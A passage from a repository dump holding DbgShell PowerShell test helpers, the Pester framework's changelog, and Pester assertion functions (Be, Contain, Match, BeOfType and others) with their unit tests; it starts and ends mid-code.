.Synopsis Convenient shortcut to attach to a new TestNativeConsoleApp.exe process. #> function ntna { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [string] $Arguments, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $TargetName = "testApp" ) begin { } end { } process { try { New-TestApp TestNativeConsoleApp -Attach -TargetName $TargetName -Arguments $Arguments } finally { } } } # end function ntna <# .Synopsis Convenient shortcut to attach to a new TestManagedConsoleApp.exe process. #> function ntma { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [string] $Arguments, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $TargetName = "testApp" ) begin { } end { } process { try { New-TestApp TestManagedConsoleApp -Attach -TargetName $TargetName -Arguments $Arguments } finally { } } } # end function ntma <# .Synopsis Runs all the tests (Tests:\*.ps1) multiple times for all combinations of PathBugginessStyle and using a provider-qualified working directory or not. function DoFullTestPass() { [string] $testName = "Full regression test pass" [bool] $alreadyRanGlobbing = $false Import-Module TE.PowerShell # Fortunately, the WEX logging state is re-entrant/refcounted. [WEX.Logging.Interop.LogController]::InitializeLogging() Log-StartGroup $testName foreach( $pbs in @( [MS.Dbg.PathBugginessStyle]::RegistryProvider, [MS.Dbg.PathBugginessStyle]::CertificateProvider ) ) { foreach( $upqwd in @( $false, $true ) ) { $testProps = Get-TestProperties $testProps[ "PathBugginessStyle" ] = $pbs $testProps[ "UseProviderQualifiedWorkingDirectory" ] = $upqwd if( $alreadyRanGlobbing ) { Run-Test Tests:\*.ps1 -Exclude Tests:\Globbing.ps1 } else { Run-Test Tests:\*.ps1 $alreadyRanGlobbing = $true } } } Log-EndGroup $testName [WEX.Logging.Interop.LogController]::FinalizeLogging() } # end DoFullTestPass #> function Get-DbgTypeCacheStats { [CmdletBinding()] param() begin { } end { } process { try { $hits = [MS.Dbg.DbgTypeInfo]::CacheHits $misses = [MS.Dbg.DbgTypeInfo]::CacheMisses if( $misses -gt 0 ) { $hitPercent = [int] (($hits / $misses) * 100) } else { $hitPercent = 'NaN' } return [PSCustomObject] @{ 'Hits' = $hits ; 'Misses' = $misses ; 'HitPercent' = $hitPercent } } finally { } } } function PostTestCheckAndResetCacheStats { [CmdletBinding()] param() begin { } end { } process { try { $cs = Get-DbgTypeCacheStats Write-Host "DbgTypeInfo cache stats: $($cs.Hits) hits, $($cs.Misses) misses ($($cs.HitPercent)%)." -Fore Cyan if( 0 -ne ([MS.Dbg.DbgTypeInfo]::GetCacheSize()) ) { Write-Warning "Cache size should currently be zero (because we should not be attached to anything)." } [MS.Dbg.DbgTypeInfo]::ResetCacheStatistics() } finally { } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/CHANGELOG.md ================================================ ## 3.4.6 (January 13, 2017) - Fix bug with -Show parameter on PowerShell v4 and older [GH-677] - Add commas to test run summary [GH-676] ## 3.4.5 (January 12, 2017) - Add -Show parameter to filter on-screen output [GH-647] - Add BeIn assertion to assert an item is part of an array [GH-646] - Fix test drive to work on PSCore [GH-643] ## 3.4.4 (November 12, 2016) - Add New-MockObject function that creates empty objects for almost any .NET class [GH-635] ## 3.4.3 (August 25, 2016) - Fixed mocking for certain cmdlets containing dynamic parameters in PowerShell 5.1. [GH-599] ## 3.4.2 (August 2, 2016) - Bug fix when multiple cmdlets with the same name exist in PowerShell 5.1. [GH-588] ## 3.4.1 (July 22, 2016) - Updated code to use Get-CimInstance if possible, then Get-WmiObject, for Nano compatibility. [GH-484] - Fixed failure message output of Should BeLike / BeLikeExactly. [GH-497] - Added some missing information to about_Should help. [GH-519] - Made -OutputFormat parameter optional, defaulting to NUnitXml. [GH-503] - Fix error message of Should Throw when null input is provided [GH-521] - Fix mocking bug on functions that contain certain parameter names (Metadata, etc). [GH-583] ## 3.4.0 (February 29, 2016) - Bug fix for PSv2 when no matching scripts are found by Invoke-Pester. [GH-441] - Added "Should BeLike" assertion. [GH-456] - Discarded unwanted pipeline output from BeforeEach / AfterEach / BeforeAll / AfterAll. [GH-468] - Allowed closures to be used as mocks. [GH-465] - Fixed invalid NUnit XML output if test script had a syntax error. [GH-467] - Fix for mocking advanced functions that define a parameter named 'Args'. [GH-471] - Fixed bug when trying to mock a command with a weird name containing a single quotation mark. [GH-474] - Fixed bug for mocking Cmdlets that do not contain any positional parameters. [GH-477] - Fixed bug when calling a mocked command from inside the mock. [GH-478] - Added PesterOption parameter, and a switch to tweak console output for better VSCode extension functionality. [GH-479] ## 3.3.14 (December 16, 2015) - Fixed Coverage analysis output, which broke in 3.3.12. [GH-440] ## 3.3.13 (December 10, 2015) - Fixed a bug where mocking Get-Command would result in infinite recursion. [GH-437] ## 3.3.12 (December 8, 2015) - Fixed a bug with mocking dynamic parameters on latest Windows 10 / PSv5 builds. [GH-419] - Fix for NUnit XML export on .NET core. [GH-420] - Added Set-TestInconclusive command. [GH-421] - Mocking improvements for calling original commands with begin/process/end blocks. [GH-422] - Case insensitive replacement of Test in help [GH-428] - Improve stack trace and exception console output [GH-426] - Added support for intercepting module-qualified calls to a mocked command. [GH-432] - Improved Assert-MockCalled to allow it to be passed an alias as the -CommandName. ## 3.3.11 (September 8, 2015) - Fixed a bug where mocking New-Object would cause a stack overflow. [GH-405] ## 3.3.10 (August 14, 2015) - Fully qualified calls to Get-Content within Mocking code, to avoid triggering client's mocked versions of that command. [GH-362] - Fixed a scoping error when calling the original command if no parameter filters match the call. [GH-362] - Added Ignore alias for -Skip on the It command, and updated NUnit output to flag these tests as Ignored instead of Skipped, for better integration with things like TeamCity. [GH-368] - Added support for Unicode to Should Contain. [GH-378] - Added support for side-by-side installations to chocolateyInstall.ps1. [GH-401] ## 3.3.9 (May 23, 2015) - Fixed Describe's handling of TestName filter when multiple strings are passed to Invoke-Pester's -TestName parameter. - Failing BeforeEach or AfterEach will fail the test [GH-326] - Added BeOfType operator to the Should command. [GH-327] - Fixed BeforeEach / etc parsing in PSv3+ so breakpoints and automatic variables ($PSCommandPath, etc) will work properly. [GH-333] - Fixed bug in 'Should Be' when comparing strings, and null or empty strings are piped in to the Should command. [GH-333] - Added some calls to Write-Progress in the It command. [GH-322] - Bug fix when mocking functions that are in the global scope; the original functions were being lost when the Describe block ended. [GH-323] - Improved failed assertion output from Assert-MockCalled; now behaves more like Should. [GH-324] - Added -ExclusiveFilter parameter to Assert-MockCalled. Works like -ParameterFilter, except there also must not be any calls to the mocked command which do _not_ match the filter. - Added the "bin" folder to the PATH environment variable when installing from Chocolatey. Also removed the hard-coded -OutputXml and -Strict parameters from this file; only -EnableExit is always used from the bat file now. [GH-281] - PassThru object (when used in conjunction with -CodeCoverage) now includes information about Hit commands in addition to Missed commands. [GH-341] - Improvements to support for mocking advanced functions with dynamic parameters. [GH-346] - Fix for PowerShell v2 bug when mocking commands that have an -ArgumentList parameter with validation attributes. [GH-354] - Fixed stack trace output when the call to Should is in a file other than the file that contains the It block. [GH-358] ## 3.3.8 (April 15, 2015) - Further mocking fixes around the use of $ExecutionContext in client scope. [GH-307] ## 3.3.7 (April 15, 2015) - Added workaround for GetDynamicParameters() bug that was affecting mocks on the ActiveDirectory module in Windows 7. [GH-295] - Revised Mocking code to avoid potential bugs when functions define parameters named $ExecutionContext or $MyInvocation. [GH-304] - Mocked functions no longer call Get-MockDynamicParameters if the original function had no dynamicparam block. [GH-306] ## 3.3.6 (March 19, 2015) - Fix for mocking aliases for commands that are in scopes that Pester can't normally see. [GH-267] - Added line information to test failure output in Should assertion failures. [GH-266] - Added support for passing named parameters or positional arguments to test scripts, and for calling test scripts that are not named *.Tests.ps1. [GH-272] - Made Pester compliant with StrictMode. [GH-274] - Improved error message when InModuleScope finds multiple modules loaded with the same name. [GH-276] - Updated build script to allow for custom root folder in the nupkg. [GH-254] - Improved error messages for InModuleScope and Mock -ModuleName when multiple modules with the same name are loaded. Also enabled these commands to work if only one of the loaded modules is a Script module. [GH-278] - Added some graceful handling of test code that has a misplaced break or continue statement. [GH-290] ## 3.3.5 (January 23, 2015) - Updated tests to allow PRs to be automatically tested, with status updates to GitHub, by our CI server. - Added Snippets directory to the nuget packages, and updated code so the module won't fail to import if Snippets are missing. ## 3.3.4 (January 22, 2015) - No changes; publishing again to fix broken PowerShellGet upload. ## 3.3.2 (January 19, 2015) - Performance Improvements ## 3.3.1 (January 12, 2015) - Import ISESteroids snippets on load - Updated Code Coverage analysis to be compatible with the PowerShell 5.0 AST when analyzing DSC configurations. [GH-249] ## 3.3.0 (January 10, 2015) - Validate manifest version, changelog version and tag version - Added BeforeAll and AfterAll commands - Updated code to take advantage of -ErrorAction Ignore in PowerShell v3+. - Add ISESteroids snippets but do not import them ## 3.2.0 (December 3, 2014) - Added BeGreaterThan and BeLessThan assertions to Should. - Add -Quiet parameter for Invoke-Pester that disables the output written to screen by Write-Host [GH-223] - Fix Error output for TestDrive [GH-232] - Add ExcludeTagFilter parameter [GH-234] - Add different color schemes for dark and light backgrounds ## 3.1.1 (October 29, 2014) - Fix Skipped and Pending - Fix output format on non-US systems ## 3.1 (October 23, 2014) - Fix mocking of Get-ItemProperty - Fix mocking commands with parameters named $FunctionName, $ModuleName or $ArgumentList under some circumstances. [GH-215] - Add Skipped and Pending test results - Added support for parameterized tests to the It command. - Deprecated -OutputXml parameter, added -OutputFile and -OutputFormat parameters. - Added new updated NUnit export format. Original format still available as -OutputFormat LegacyNUnitXml. - Stopped forcing -ParameterFilter blocks to return explicit booleans, preventing some unnecessary null reference exceptions. ## 3.0.3 (October 12, 2014) - Can be installed from PowerShellGet - Version updated to solve issue on PowerShellGet ## 3.0.2 (September 8, 2014) - Coverage Analysis now ignores closing conditions of do/while and do/until loops, which were giving false failures. [GH-200] - Calls to Functions and Cmdlets with dynamic parameters can now be mocked. [GH-203] - Mock now avoids assigning strings to items in the Function provider, bypassing a PowerShell 3.0 bug. - Bug fix when mocking executables or functions with no param block. [GH-209] - Replace the nuget.exe with version 2.8.2 and set the Team City server to use the same version. ## 3.0.1.1 (August 28, 2014) - Fixing wrong version in the manifest, publishing new version so I can update it on Nuget/Chocolatey ## 3.0.1 (August 28, 2014) - Fix nuspec specification to build the 3.0.0 package correctly - Add verbose output for Be and BeExactly string comparison [GH-192] - Fixed NUnit XML output (missing close tag for failure element.) [GH-195] ## 3.0.0 (August 21, 2014) - Fix code coverage tests so they do not left breakpoints set [GH-149] - Add better output for hashtables in code coverage [GH-150] - Fix Invoke-Pester -OutputXml usage of relative paths - Remove Validate-Xml function - Remove legacy object adaptations support - Remove tests testing usage of the global scope - Add function name to Code coverage output [GH-152] - Suppress pipeline output in Context / Describe [GH-155] - Coverage Output Update [GH-156] - Add initial implementation of BeforeEach / AfterEach [GH-158] - CodeCoverage of files containing DSC Configurations [GH-163] - Rolling back some earlier Pester Scope changes [GH-164] - Legacy expectations cleanup [GH-165] - Invoke-Pester tests path fix [GH-166] - Assert-MockCalled default ModuleName fix. [GH-167] - Output exception source when test fails [GH-147] - Fix for PesterThrowFailureMessage on PowerShell 2.0. [GH-171] - Pester.bat no longer enables StrictMode. [GH-172] - Fixed default behavior of fixture parameter in Describe and Context. [GH-174] - Syntax errors in test files, as well as terminating errors from Describe or Context blocks are now treated as failed tests. [GH-168] - Mock lifetime is no longer tied to It blocks. [GH-176] - Add module manifest - Added multiple lines to failure messages from Should Be and Should BeExactly. Updated console output code to support blank lines in failure messages and stack traces. [GH-185] - Fixed stack trace information when test failures come from inside InModuleScope blocks, or from something other than a Should assertion. [GH-183] - Fixed stack trace information from Describe and Context block errors in PowerShell 2.0. [GH-186] - Fixed a problem with parameter / argument resolution in mocked cmdlets / advanced functions. [GH-187] - Improved error reporting when Pester commands are called outside of a Describe block. [GH-188] - Extensive updates to help files and comment-based help for v3.0 release. [GH-190] ## 3.0.0-beta2 (July 4, 2014) - Add code coverage [GH-148] - Fix TestName - Fix direct execution of tests when the script is dot-sourced to global scope [GH-144] - Fix mock parameter filter in strict mode [GH-143] - Fix nUnit schema compatibility - Fix special characters in nUnit output ## 3.0.0-beta (June 24, 2014) - Add full support for module mocking - Isolate Pester internals from tested code [GH-139] - Tests.ps1 files can be run directly [GH-139] - Add It scope to TestDrive - Add It scope to Mock - Add Scope parameter to Assert-MockCalled - Measure test time more precisely ## 2.1.0 (June 15, 2014) - Process It blocks in memory [GH-123] - Fixed -ExecutionPolicy in pester.bat [GH-130] - Add support for mocking internal module functions, aliases, exe and filters. [GH-126] - Fix TestDrive clean up [GH-129] - Fix ShouldArgs in Strict-Mode [GH-134] - Fix initialize $PesterException [GH-136] - Validate Should Assertion methods [GH-135] - Fix using commands without fully qualified names [GH-137] - Enable latest strict mode when running Pester tests using Pester.bat ## 2.0.4 (March 9, 2014) - Fixed issue where TestDrive doesn't work with paths with . characters [GH-52] - Fixed issues when mocking Out-File [GH-71] - Exposing TestDrive with Get-TestDriveItem [GH-70] - Fixed bug where mocking Remove-Item caused cleanup to break [GH-68] - Added -Passthru to Setup to obtain file system object references [GH-69] - Can assert on exception messages from Throw assertions [GH-58] - Fixed assertions on empty functions [GH-50] - Fixed New-Fixture so it creates proper syntax in tests [GH-49] - Fixed assertions on Object arrays [GH-61] - Fixed issue where curly brace misalignment would cause issues [GH-90] - Better contrasting output colours [GH-92] - New-Fixture handles "." properly [GH-86] - Fixed mix scoping of It and Context [GH-98] and [GH-99] - Test Drives are randomly generated, which should allow concurrent Pester processes [GH-100] and [GH-94] - Fixed nUnit test failing on non-US computers [GH-109] - Add case sensitive Be, Contain and Match assertions [GH-107] - Fix Pester template self-tests [GH-113] - Time is output to the XML report [GH-95] - Internal fixes to remove unnecessary dependencies among functions - Cleaned up Invoke-Pester interface - Make output better structured - Add -PassThru to Invoke-Pester [GH-102], [GH-84] and [GH-46] - Makes New-Fixture -Path option more resilient [GH-114] - Make the New-Fixture input accept any path and output objects - Move New-Fixture to separate script - Remove Write-UsageForNewFixture - Fix Should Throw filtering by exception message [GH-125] ## 2.0.3 (Apr 16, 2013) - Fixed line number reported in pester failure when using new pipelined should assertions [GH-40] - Added describe/context scoping for mocks [GH-42] ## 2.0.2 (Feb 28, 2013) - Fixed exit code bug that was introduced in version 2.0.0 ## 2.0.1 (Feb 3, 2013) - Renamed -EnableLegacyAssertions to -EnableLegacyExpectations ## 2.0.0 (Feb 2, 2013) - Functionality equivalent to 1.2.0 except legacy assertions disabled by default. This is a breaking change for anyone who is already using Pester ## 1.2.0 (Feb 2, 2013) - Fixing many of the scoping issues [GH-9] - Ability to tag describes [GH-35] - Added new assertion syntax (eg: 1 | Should Be 1) - Added 'Should Throw' assertion [GH-37] - Added 'Should BeNullOrEmpty' assertion [GH-39] - Added negative assertions with the 'Not' keyword - Added 'Match' assertion - Added -DisableOldStyleAssertions [GH-19] and [GH-27] - Added Contain assertion which tests file contents [GH-13] ## 1.1.1 (Dec 29, 2012) - Add should.not_be [GH-38] ## 1.1.0 (Nov 4, 2012) - Add mocking functionality [GH-26] ## Previous This changelog is inspired by the [Vagrant](https://github.com/mitchellh/vagrant/blob/master/CHANGELOG.md) file. Hopefully this will help keep the releases tidy and understandable. ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Be.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBe" { It "returns true if the 2 arguments are equal" { Test-PositiveAssertion (PesterBe 1 1) } It "returns true if the 2 arguments are equal and have different case" { Test-PositiveAssertion (PesterBe "A" "a") } It "returns false if the 2 arguments are not equal" { Test-NegativeAssertion (PesterBe 1 2) } } Describe "PesterBeFailureMessage" { #the correctness of difference index value and the arrow pointing to the correct place #are not tested here thoroughly, but the behaviour was visually checked and is #implicitly tested by using the whole output in the following tests It "Returns nothing for two identical strings" { #this situation should actually never happen, as the code is called #only when the objects are not equal $string = "string" PesterBeFailureMessage $string $string | Should BeNullOrEmpty } It "Outputs less verbose message for two different objects that are not strings" { PesterBeFailureMessage 2 1 | Should Be "Expected: {1}`nBut was: {2}" } It "Outputs verbose message for two strings of different length" { PesterBeFailureMessage "actual" "expected" | Should Be "Expected string length 8 but was 6. Strings differ at index 0.`nExpected: {expected}`nBut was: {actual}`n-----------^" } It "Outputs verbose message for two different strings of the same length" { PesterBeFailureMessage "x" "y" | Should Be "String lengths are both 1. Strings differ at index 0.`nExpected: {y}`nBut was: {x}`n-----------^" } It "Replaces non-printable characters correctly" { PesterBeFailureMessage "`n`r`b`0`tx" "`n`r`b`0`ty" | Should Be "String lengths are both 6. Strings differ at index 5.`nExpected: {\n\r\b\0\ty}`nBut was: {\n\r\b\0\tx}`n---------------------^" } It "The arrow points to the correct position when non-printable characters are replaced before the difference" { PesterBeFailureMessage "123`n456" "123`n789" | Should Be "String lengths are both 7. Strings differ at index 4.`nExpected: {123\n789}`nBut was: {123\n456}`n----------------^" } It "The arrow points to the correct position when non-printable characters are replaced after the difference" { PesterBeFailureMessage "abcd`n123" "abc!`n123" | Should Be "String lengths are both 8. Strings differ at index 3.`nExpected: {abc!\n123}`nBut was: {abcd\n123}`n--------------^" } } } InModuleScope Pester { Describe "BeExactly" { It "passes if letter case matches" { 'a' | Should BeExactly 'a' } It "fails if letter case doesn't match" { 'A' | Should Not BeExactly 'a' } It "passes for numbers" { 1 | Should BeExactly 1 2.15 | Should BeExactly 2.15 } } Describe "PesterBeExactlyFailureMessage" { It "Writes verbose message for strings that differ by case" { PesterBeExactlyFailureMessage "a" "A" | Should Be "String lengths are both 1. Strings differ at index 0.`nExpected: {A}`nBut was: {a}`n-----------^" } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Be.ps1 ================================================ #Be function PesterBe($value, $expected) { return ($expected -eq $value) } function PesterBeFailureMessage($value, $expected) { if (-not (($expected -is [string]) -and ($value -is [string]))) { return "Expected: {$expected}`nBut was: {$value}" } <#joining the output strings to a single string here, otherwise I get Cannot find an overload for "Exception" and the argument count: "4". at line: 63 in C:\Users\nohwnd\github\pester\Functions\Assertions\Should.ps1 This is a quickwin solution, doing the join in the Should directly might be better way of doing this. But I don't want to mix two problems. #> ( Get-CompareStringMessage -Expected $expected -Actual $value ) -join "`n" } function NotPesterBeFailureMessage($value, $expected) { return "Expected: value was {$value}, but should not have been the same" } #BeExactly function PesterBeExactly($value, $expected) { return ($expected -ceq $value) } function PesterBeExactlyFailureMessage($value, $expected) { if (-not (($expected -is [string]) -and ($value -is [string]))) { return "Expected exactly: {$expected}`nBut was: {$value}" } <#joining the output strings to a single string here, otherwise I get Cannot find an overload for "Exception" and the argument count: "4". at line: 63 in C:\Users\nohwnd\github\pester\Functions\Assertions\Should.ps1 This is a quickwin solution, doing the join in the Should directly might be better way of doing this. But I don't want to mix two problems. #> ( Get-CompareStringMessage -Expected $expected -Actual $value -CaseSensitive ) -join "`n" } function NotPesterBeExactlyFailureMessage($value, $expected) { return "Expected: value was {$value}, but should not have been exactly the same" } #common functions function Get-CompareStringMessage { param( [Parameter(Mandatory=$true)] [AllowEmptyString()] [String]$Expected, [Parameter(Mandatory=$true)] [AllowEmptyString()] [String]$Actual, [switch]$CaseSensitive ) $expectedLength = $expected.Length $actualLength = $actual.Length $maxLength = $expectedLength,$actualLength | & $SafeCommands['Sort-Object'] -Descending | & $SafeCommands['Select-Object'] -First 1 $differenceIndex = $null for ($i = 0; $i -lt $maxLength -and ($null -eq $differenceIndex); ++$i){ $differenceIndex = if ($CaseSensitive -and ($expected[$i] -cne $actual[$i])) { $i } elseif ($expected[$i] -ne $actual[$i]) { $i } } [string]$output = $null if ($null -ne $differenceIndex) { if ($expected.Length -ne $actual.Length) { "Expected string length $expectedLength but was $actualLength. Strings differ at index $differenceIndex." } else { "String lengths are both $expectedLength. Strings differ at index $differenceIndex." } "Expected: {{{0}}}" -f ( $expected | Expand-SpecialCharacters ) "But was: {{{0}}}" -f ( $actual | Expand-SpecialCharacters ) $specialCharacterOffset = $null if ($differenceIndex -ne 0) { #count all the special characters before the difference $specialCharacterOffset = ($actual[0..($differenceIndex-1)] | & $SafeCommands['Where-Object'] {"`n","`r","`t","`b","`0" -contains $_} | & $SafeCommands['Measure-Object'] | & $SafeCommands['Select-Object'] -ExpandProperty Count) } '-'*($differenceIndex+$specialCharacterOffset+11)+'^' } } function Expand-SpecialCharacters { param ( [Parameter(Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [AllowEmptyString()] [string[]]$InputObject) process { $InputObject -replace "`n","\n" -replace "`r","\r" -replace "`t","\t" -replace "`0", "\0" -replace "`b","\b" } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeGreaterThan.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeGreaterThan" { It "passes if value greater than expected" { Test-PositiveAssertion (PesterBeGreaterThan 2 1) 2 | Should BeGreaterThan 1 } It "fails if values equal" { Test-NegativeAssertion (PesterBeGreaterThan 3 3) } It "fails if value less than expected" { Test-NegativeAssertion (PesterBeGreaterThan 4 5) } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeGreaterThan.ps1 ================================================ function PesterBeGreaterThan($value, $expected) { return [bool]($value -gt $expected) } function PesterBeGreaterThanFailureMessage($value,$expected) { return "Expected {$value} to be greater than {$expected}" } function NotPesterBeGreaterThanFailureMessage($value,$expected) { return "Expected {$value} to be less than or equal to {$expected}" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeLessThan.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeLessThan" { It "passes if value Less than expected" { Test-PositiveAssertion (PesterBeLessThan 1 2) 1 | Should BeLessThan 2 } It "fails if values equal" { Test-NegativeAssertion (PesterBeLessThan 3 3) } It "fails if value greater than expected" { Test-NegativeAssertion (PesterBeLessThan 5 4) } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeLessThan.ps1 ================================================ function PesterBeLessThan($value, $expected) { return [bool]($value -lt $expected) } function PesterBeLessThanFailureMessage($value,$expected) { return "Expected {$value} to be less than {$expected}" } function NotPesterBeLessThanFailureMessage($value,$expected) { return "Expected {$value} to be greater than or equal to {$expected}" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeNullOrEmpty.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeNullOrEmpty" { It "should return true if null" { Test-PositiveAssertion (PesterBeNullOrEmpty $null) } It "should return true if empty string" { Test-PositiveAssertion (PesterBeNullOrEmpty "") } It "should return true if empty array" { Test-PositiveAssertion (PesterBeNullOrEmpty @()) } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeNullOrEmpty.ps1 ================================================ function PesterBeNullOrEmpty($value) { if ($null -eq $value) { return $true } if ([String] -eq $value.GetType()) { return [String]::IsNullOrEmpty($value) } if ($null -ne $value.PSObject.Properties['Count'] -and $null -ne $value.Count) { return $value.Count -lt 1 } return $false } function PesterBeNullOrEmptyFailureMessage($value) { return "Expected: value to be empty but it was {$value}" } function NotPesterBeNullOrEmptyFailureMessage { return "Expected: value to not be empty" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeOfType.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeOfType" { It "passes if value is of the expected type" { Test-PositiveAssertion (PesterBeOfType 1 ([int])) Test-PositiveAssertion (PesterBeOfType 1 "Int") 1 | Should BeOfType Int 2.0 | Should BeOfType ([double]) } It "fails if value is of a different types" { Test-NegativeAssertion (PesterBeOfType 2 double) Test-NegativeAssertion (PesterBeOfType 2.0 ([string])) } It "fails if type isn't a type" { Test-NegativeAssertion (PesterBeOfType 5 NotAType) } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/BeOfType.ps1 ================================================ function PesterBeOfType($value, $expectedType) { trap [System.Management.Automation.PSInvalidCastException] { return $false } if($expectedType -is [string] -and !($expectedType -as [Type])) { $expectedType = $expectedType -replace '^\[(.*)\]$','$1' } return [bool]($value -is $expectedType) } function PesterBeOfTypeFailureMessage($value, $expectedType) { if($expectedType -is [string] -and !($expectedType -as [Type])) { $expectedType = $expectedType -replace '^\[(.*)\]$','$1' } if($Type = $expectedType -as [type]) { return "Expected: ${value} to be of type [$Type]" } else { return "Expected: ${value} to be of type [$expectedType], but unable to find type [$expectedType]. Make sure that the assembly that contains that type is loaded." } } function NotPesterBeOfTypeFailureMessage($value, $expectedType) { if($expectedType -is [string] -and -not $expectedType -as [Type]) { $expectedType = $expectedType -replace '^\[(.*)\]$','$1' } if($Type = $expectedType -as [type]) { return "Expected: {$value} to be of any type except [${Type}], but it's a [${Type}]" } else { return "Expected: ${value} to be of any type except [$expectedType], but unable to find type [$expectedType]. Make sure that the assembly that contains that type is loaded." } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Contain.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterContain" { Context "when testing file contents" { Setup -File "test.txt" "this is line 1`nrush is awesome`nAnd this is Unicode: ☺" It "returns true if the file contains the specified content" { Test-PositiveAssertion (PesterContain "$TestDrive\test.txt" "rush") } It "returns true if the file contains the specified content with different case" { Test-PositiveAssertion (PesterContain "$TestDrive\test.txt" "RUSH") } It "returns false if the file does not contain the specified content" { Test-NegativeAssertion (PesterContain "$TestDrive\test.txt" "slime") } It "returns true if the file contains the specified UTF8 content" { Test-PositiveAssertion (PesterContain "$TestDrive\test.txt" "☺") } } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Contain.ps1 ================================================ function PesterContain($file, $contentExpectation) { return ((& $SafeCommands['Get-Content'] -Encoding UTF8 $file) -match $contentExpectation) } function PesterContainFailureMessage($file, $contentExpectation) { return "Expected: file ${file} to contain {$contentExpectation}" } function NotPesterContainFailureMessage($file, $contentExpectation) { return "Expected: file {$file} to not contain ${contentExpectation} but it did" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/ContainExactly.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterContainExactly" { Context "when testing file contents" { Setup -File "test.txt" "this is line 1`nPester is awesome`nAnd this is Unicode: ☺" It "returns true if the file contains the specified content exactly" { Test-PositiveAssertion (PesterContainExactly "$TestDrive\test.txt" "Pester") } It "returns false if the file does not contain the specified content exactly" { Test-NegativeAssertion (PesterContainExactly "$TestDrive\test.txt" "pESTER") } It "returns true if the file contains the specified Unicode content exactly" { Test-PositiveAssertion (PesterContainExactly "$TestDrive\test.txt" "☺") } } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/ContainExactly.ps1 ================================================ function PesterContainExactly($file, $contentExpectation) { return ((& $SafeCommands['Get-Content'] -Encoding UTF8 $file) -cmatch $contentExpectation) } function PesterContainExactlyFailureMessage($file, $contentExpectation) { return "Expected: file ${file} to contain exactly {$contentExpectation}" } function NotPesterContainExactlyFailureMessage($file, $contentExpectation) { return "Expected: file {$file} to not contain exactly ${contentExpectation} but it did" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Exist.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterExist" { It "returns true for paths that exist" { Test-PositiveAssertion (PesterExist $TestDrive) } It "returns false for paths do not exist" { Test-NegativeAssertion (PesterExist "$TestDrive\nonexistent") } It 'works for path with escaped [ ] characters' { New-Item -Path "TestDrive:\[test].txt" -ItemType File | Out-Null "TestDrive:\``[test``].txt" | Should Exist } It 'returns correct result for function drive' { function f1 {} 'function:f1' | Should Exist } It 'returns correct result for env drive' { $env:test = 'somevalue' 'env:test' | Should Exist } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Exist.ps1 ================================================ function PesterExist($value) { & $SafeCommands['Test-Path'] $value } function PesterExistFailureMessage($value) { return "Expected: {$value} to exist" } function NotPesterExistFailureMessage($value) { return "Expected: ${value} to not exist, but it was found" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Match.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "Match" { It "returns true for things that match" { PesterMatch "foobar" "ob" | Should Be $true } It "returns false for things that do not match" { PesterMatch "foobar" "slime" | Should Be $false } It "passes for strings with different case" { PesterMatch "foobar" "FOOBAR" | Should Be $true } It "uses regular expressions" { PesterMatch "foobar" "\S{6}" | Should Be $true } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/Match.ps1 ================================================ function PesterMatch($value, $expectedMatch) { return ($value -match $expectedMatch) } function PesterMatchFailureMessage($value, $expectedMatch) { return "Expected: {$value} to match the expression {$expectedMatch}" } function NotPesterMatchFailureMessage($value, $expectedMatch) { return "Expected: ${value} to not match the expression ${expectedMatch}" } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/MatchExactly.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "MatchExactly" { It "returns true for things that match exactly" { PesterMatchExactly "foobar" "ob" | Should Be $true } It "returns false for things that do not match exactly" { PesterMatchExactly "foobar" "FOOBAR" | Should Be $false } It "uses regular expressions" { PesterMatchExactly "foobar" "\S{6}" | Should Be $true } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Assertions/MatchExactly.ps1 ================================================ function PesterMatchExactly($value, $expectedMatch) { return ($value -cmatch $expectedMatch) } function PesterMatchExactlyFailureMessage($value, $expectedMatch) { return "Expected: {$value} to exactly match the expression {$expectedMatch}" } function NotPesterMatchExactlyFailureMessage($value, $expectedMatch) { 